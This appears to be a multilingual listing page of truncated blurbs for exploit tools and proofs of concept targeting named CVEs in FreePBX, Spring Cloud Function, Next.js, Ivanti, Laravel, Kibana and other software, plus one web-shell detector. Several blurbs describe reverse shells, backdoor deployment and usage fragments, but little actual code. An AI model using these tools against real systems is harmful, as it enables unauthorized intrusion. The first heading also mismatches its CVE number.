CVE-2025-5781

Exploit FreePBX CVE-2025-57819 Descrizione Questo script sfrutta una vulnerabilità nelle versioni di FreePBX precedenti alla 16.0.26.0 CVE-2025-57819, consentendo a un attaccante remoto di eseguire codice PHP arbitrario tramite una falla di SQL injection nell'endpoint API AJAX. L'exploit crea sia...

shellsum

Shellsum Cos'è? Uno strumento di difesa - rileva web shell nelle directory locali tramite md5sum Caratteristiche Velocità elevata Leggero Grande database Output tabellare Utilizzo Installazione root@kitploit: git clone https://github.com/ManhNho/shellsum.git chmod 755 -R shellsum/ cd shellsum/ pi...

CVE-2023-4450-Attack

CVE-2023-4450-Attack Strumento automatizzato per attaccare la vulnerabilità CVE-2023-4450 in JimuReport Introduzione Questo strumento deve essere utilizzato solo per test di sicurezza, non per scopi illegali! Usage root@kitploit: java -jar CVE-2023-4450-Attack.jar Fornisce tre funzionalità:...

CVE-2022-22963-POC

Exploit CVE-2022-22963 Descrizione Nelle versioni di Spring Cloud Function 3.1.6, 3.2.2 e versioni precedenti non supportate, quando si utilizza la funzionalità di routing è possibile che un utente fornisca uno SpEL appositamente modificato come routing-expression che può comportare l'esecuzione ...

Spring-Cloud-Function-Vulnerability-CVE-2022-22963-RCE

Spring Cloud Function Schwachstelle CVE-2022-22963 RCE Dies ist eine Python-Implementierung von Spring4Shell, CVE-2022-22963, die Dienste betrifft, die Spring Cloud Function =3.1.6 für 3.1.x und =3.2.2 für 3.2.x ausführen. Kombination mehrerer POCs online Autor: Randall Banner Datum: 17.04.23...

htrace.sh

Descrição htrace.sh é um script shell para diagnóstico e perfilamento de http/https. É também um wrapper simples em torno de várias ferramentas de segurança de código aberto. Para uma compreensão mais detalhada do htrace.sh, seus parâmetros, funções e como tudo funciona, execute htrace.sh...

put2win

put2win Script per automatizzare lo sfruttamento del metodo HTTP PUT per ottenere una shell. Installazione root@kitploit: git clone https://github.com/sysdevploit/put2win cd put2win chmod +x put2win.sh Utilizzo root@kitploit: Script to automate PUT HTTP method exploitation to get shell. Options: ...

tomcatWarDeployer

tomcatWarDeployer Strumento di penetration testing per il deploy automatico di WAR su Apache Tomcat e compromissione. Cos'è? Questo è uno strumento di penetration testing progettato per sfruttare le credenziali di Apache Tomcat al fine di generare e distribuire automaticamente una backdoor JSP,...

CVE-2025-55182

CVE-2025-55182 Next.js RCE-Ausnutzungstool 🚀 Dies ist ein automatisiertes Proof-of-Concept PoC Tool für die Remote Code Execution RCE Schwachstelle Next.js React Server Components CVE-2025-55182. Das Tool integriert eine interaktive Shell , intelligente Protokollerfassung und mehrthreading...

CVE-2020-15227

CVE-2020-15227 HAFTUNGSAUSSCHLUSS! Ich übernehme keine Verantwortung für die Nutzung in einer Live-Umgebung, also tu es BITTE nicht. Dieses Ding dient nur zur Demonstration und zum Testen für Systemadministratoren. Ich habe diesen Exploit gemäß der Veröffentlichung einer CVE von David Grudl dem...

EXP_CVE-2018-19518

CVE-2018-19518 Dichiarazione di non responsabilità Questo programma deve essere utilizzato solo per scopi autorizzati di test di sicurezza e ricerca. Gli utenti devono utilizzare lo strumento in conformità con le leggi sulla cybersicurezza. L'autore non è responsabile per eventuali attacchi...

CrestCrack

CrestCrack CrestCrack è uno script semplice che sfrutta CVE-2016-5640 / CLVA-2016-05-002 all'interno del Crestron AirMedia AM-100 v1.1.1.11 - v1.2.1. Quando vengono forniti argomenti, CrestCrack utilizzerà netcat per creare una reverse shell tra il tuo target e un listener netcat di tua scelta...

ivanti_shell

CVE-2024-21887 का Ngrok रिवर्स शेल के साथ शोषण यह रिपॉजिटरी एक Python स्क्रिप्ट प्रदान करता है जो Ivanti Connect Secure गेटवेज़ में CVE-2024-21887 भेद्यता के शोषण को प्रदर्शित करने के लिए डिज़ाइन किया गया है। यह शैक्षिक और नैतिक परीक्षण उद्देश्यों के लिए एक रिवर्स शेल स्थापित करने के लिए Ngrok का...

Larascript

| | | | | | / || '| / |/ | /|| ' || || ' \ | | | | | | || | | | | | | | | || | || | || , ||| ,|| / ||| ||| ./ | || Авторы: @pwnedshell & @rsgbengi 📌 Что такое Larascript? Larascript — это скрипт, использующий CVE-2018-15133 для удалённого выполнения команд, если уязвимое Laravel-приложение открыт...

CVE-2021-22941

Uso python3 exploit -u url --shell http://127.0.0.1/shell --ping 127.0.0.1 Riferimento https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html...

CVE-2016-2067

EXPLOIT IOMMU DMA DELLA GPU ADRENO Testato su Nexus 6p google/angler/angler:6.0.1/MMB29M/2431559:user/release-keys Informazioni sul bug Discusso nel 2016 tramite Blackhat EU Informazioni sull'exploit Con scritture iommu dma, vdso.so viene sovrascritto con shellcode. Quindi dopo che /init esegue...

CVE-2022-21587-POC

CVE-2022-21587-POC- CVE-2022-21587 POC root@kitploit: file exploit.py sovrascriverà il file .pl non consigliato per l'uso, influenzerà il sistema file EBS non sovrascrive, creerà un nuovo file shell installa slipit: git clone https://github.com/usdAG/slipit root@kitploit: cd slipit python3 setup....

CVE-2019-7609

CVE-2019-7609 Kibana ثغرة تسمح بتنفيذ التعليمات البرمجية عن بعد بسبب خلل في مصور Timelion في Kibana الإعداد البيئي docker 1. قم بتشغيل ملف docker-compose.yml المرفق. root@kitploit: docker-comopse up -d 2. قم بزيارة http://127.0.0.1:5601 في المتصفح. الاستغلال 1. قم بإعداد shell عكسي. root@kitploit...

CVE-2023-26035

POC für CVE-2023-26035 Funktioniert für ZoneMinder Versionen vor 1.36.33 und 1.37.33 Schwachstelle : Remote Code Execution RCE Verwendung root@kitploit: └─➜ python3 poc.py -h usage: poc.py -h --target TARGET --cmd CMD poc.py: error: the following arguments are required: --target, --cmd Curl Bevor...

wshlient

Wshlient Client Web Shell Descrizione e demo Wshlient è un client web shell progettato per essere piuttosto semplice ma versatile. Basta creare un file di testo contenente una richiesta HTTP e indicare dove Wshlient deve iniettare i comandi, e potrai usufruire di una shell...